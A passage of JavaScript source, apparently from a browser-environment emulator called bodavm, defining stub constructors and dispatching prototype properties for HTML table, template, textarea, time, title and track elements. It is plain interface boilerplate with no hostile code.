bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "frame_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "rules", {configurable:true, enumerable:true, get:function rules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rules_get", arguments)}, set:function rules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rules_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "summary", {configurable:true, enumerable:true, get:function summary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "summary_get", arguments)}, set:function summary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "summary_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "cellPadding", {configurable:true, enumerable:true, get:function cellPadding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellPadding_get", arguments)}, set:function cellPadding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellPadding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "cellSpacing", {configurable:true, enumerable:true, get:function cellSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellSpacing_get", arguments)}, set:function cellSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "createCaption", {configurable:true, enumerable:true, writable:true, value:function createCaption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createCaption", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTBody", {configurable:true, enumerable:true, writable:true, value:function createTBody (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTBody", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTFoot", {configurable:true, enumerable:true, writable:true, value:function createTFoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTFoot", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTHead", {configurable:true, enumerable:true, writable:true, value:function createTHead (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTHead", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteCaption", {configurable:true, enumerable:true, writable:true, value:function deleteCaption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteCaption", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteRow", {configurable:true, enumerable:true, writable:true, value:function deleteRow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteRow", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteTFoot", {configurable:true, enumerable:true, writable:true, value:function deleteTFoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteTFoot", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteTHead", {configurable:true, enumerable:true, writable:true, value:function deleteTHead (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteTHead", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "insertRow", {configurable:true, enumerable:true, writable:true, value:function insertRow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "insertRow", arguments)}},'prototype'); - -// HTMLTableRowElement对象 -bodavm.memory.globalobj['HTMLTableRowElement'] = function HTMLTableRowElement(){if (!(this instanceof HTMLTableRowElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableRowElement'], "HTMLTableRowElement"); -bodavm.memory.globalobj['HTMLTableRowElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableRowElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "rowIndex", {configurable:true, enumerable:true, get:function rowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "rowIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "sectionRowIndex", {configurable:true, enumerable:true, get:function sectionRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "sectionRowIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "cells", {configurable:true, enumerable:true, get:function cells (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "cells_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "ch", {configurable:true, enumerable:true, get:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "ch_get", arguments)}, set:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "ch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "chOff", {configurable:true, enumerable:true, get:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "chOff_get", arguments)}, set:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "chOff_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "vAlign", {configurable:true, enumerable:true, get:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "vAlign_get", arguments)}, set:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "vAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "deleteCell", {configurable:true, enumerable:true, writable:true, value:function deleteCell (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "deleteCell", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableRowElement', "insertCell", {configurable:true, enumerable:true, writable:true, value:function insertCell (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableRowElement'].prototype, "HTMLTableRowElement", "insertCell", arguments)}},'prototype'); - -// HTMLTableSectionElement对象 -bodavm.memory.globalobj['HTMLTableSectionElement'] = function HTMLTableSectionElement(){if (!(this instanceof HTMLTableSectionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableSectionElement'], "HTMLTableSectionElement"); -bodavm.memory.globalobj['HTMLTableSectionElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableSectionElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "rows_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "ch", {configurable:true, enumerable:true, get:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "ch_get", arguments)}, set:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "ch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "chOff", {configurable:true, enumerable:true, get:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "chOff_get", arguments)}, set:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "chOff_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "vAlign", {configurable:true, enumerable:true, get:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "vAlign_get", arguments)}, set:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "vAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "deleteRow", {configurable:true, enumerable:true, writable:true, value:function deleteRow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "deleteRow", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableSectionElement', "insertRow", {configurable:true, enumerable:true, writable:true, value:function insertRow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableSectionElement'].prototype, "HTMLTableSectionElement", "insertRow", arguments)}},'prototype'); - -// HTMLTemplateElement对象 -bodavm.memory.globalobj['HTMLTemplateElement'] = function HTMLTemplateElement(){if (!(this instanceof HTMLTemplateElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTemplateElement'], "HTMLTemplateElement"); -bodavm.memory.globalobj['HTMLTemplateElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTemplateElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "content", {configurable:true, enumerable:true, get:function content (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "content_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "shadowRoot", {configurable:true, enumerable:true, get:function shadowRoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRoot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTemplateElement', "shadowRootMode", {configurable:true, enumerable:true, get:function shadowRootMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRootMode_get", arguments)}, set:function shadowRootMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTemplateElement'].prototype, "HTMLTemplateElement", "shadowRootMode_set", arguments)}},'prototype'); - -// HTMLTextAreaElement对象 -bodavm.memory.globalobj['HTMLTextAreaElement'] = function HTMLTextAreaElement(){if (!(this instanceof HTMLTextAreaElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTextAreaElement'], "HTMLTextAreaElement"); -bodavm.memory.globalobj['HTMLTextAreaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTextAreaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "autocomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "cols", {configurable:true, enumerable:true, get:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "cols_get", arguments)}, set:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "cols_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "dirName", {configurable:true, enumerable:true, get:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "dirName_get", arguments)}, set:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "dirName_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "maxLength", {configurable:true, enumerable:true, get:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "maxLength_get", arguments)}, set:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "maxLength_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "minLength", {configurable:true, enumerable:true, get:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "minLength_get", arguments)}, set:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "minLength_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "placeholder", {configurable:true, enumerable:true, get:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "placeholder_get", arguments)}, set:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "placeholder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "readOnly", {configurable:true, enumerable:true, get:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "readOnly_get", arguments)}, set:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "readOnly_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "required", {configurable:true, enumerable:true, get:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "required_get", arguments)}, set:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "required_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "rows_get", arguments)}, set:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "rows_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "wrap", {configurable:true, enumerable:true, get:function wrap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "wrap_get", arguments)}, set:function wrap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "wrap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "defaultValue_get", arguments)}, set:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "defaultValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "textLength", {configurable:true, enumerable:true, get:function textLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "textLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionStart", {configurable:true, enumerable:true, get:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionStart_get", arguments)}, set:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionStart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionEnd", {configurable:true, enumerable:true, get:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionEnd_get", arguments)}, set:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionEnd_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "selectionDirection", {configurable:true, enumerable:true, get:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionDirection_get", arguments)}, set:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "selectionDirection_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "select", {configurable:true, enumerable:true, writable:true, value:function select (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "select", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setCustomValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setRangeText", {configurable:true, enumerable:true, writable:true, value:function setRangeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setRangeText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTextAreaElement', "setSelectionRange", {configurable:true, enumerable:true, writable:true, value:function setSelectionRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTextAreaElement'].prototype, "HTMLTextAreaElement", "setSelectionRange", arguments)}},'prototype'); - -// HTMLTimeElement对象 -bodavm.memory.globalobj['HTMLTimeElement'] = function HTMLTimeElement(){if (!(this instanceof HTMLTimeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTimeElement'], "HTMLTimeElement"); -bodavm.memory.globalobj['HTMLTimeElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTimeElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTimeElement', "dateTime", {configurable:true, enumerable:true, get:function dateTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTimeElement'].prototype, "HTMLTimeElement", "dateTime_get", arguments)}, set:function dateTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTimeElement'].prototype, "HTMLTimeElement", "dateTime_set", arguments)}},'prototype'); - -// HTMLTitleElement对象 -bodavm.memory.globalobj['HTMLTitleElement'] = function HTMLTitleElement(){if (!(this instanceof HTMLTitleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTitleElement'], "HTMLTitleElement"); -bodavm.memory.globalobj['HTMLTitleElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTitleElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTitleElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTitleElement'].prototype, "HTMLTitleElement", "text_set", arguments)}},'prototype'); - -// HTMLTrackElement对象 - -bodavm.memory.globalobj['HTMLTrackElement'] = function HTMLTrackElement(){if (!(this instanceof HTMLTrackElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTrackElement'], "HTMLTrackElement"); - -bodavm.memory.globalobj['HTMLTrackElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; - -bodavm.memory.globalobj['HTMLTrackElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADING", {configurable:false, enumerable:true, writable:false, value:1}); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADED", {configurable:false, enumerable:true, writable:false, value:2}); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "ERROR", {configurable:false, enumerable:true, writable:false, value:3}); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "kind_get", arguments)}, set:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "kind_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "src", {configurable:true, enumerable:true, get:function src (){return 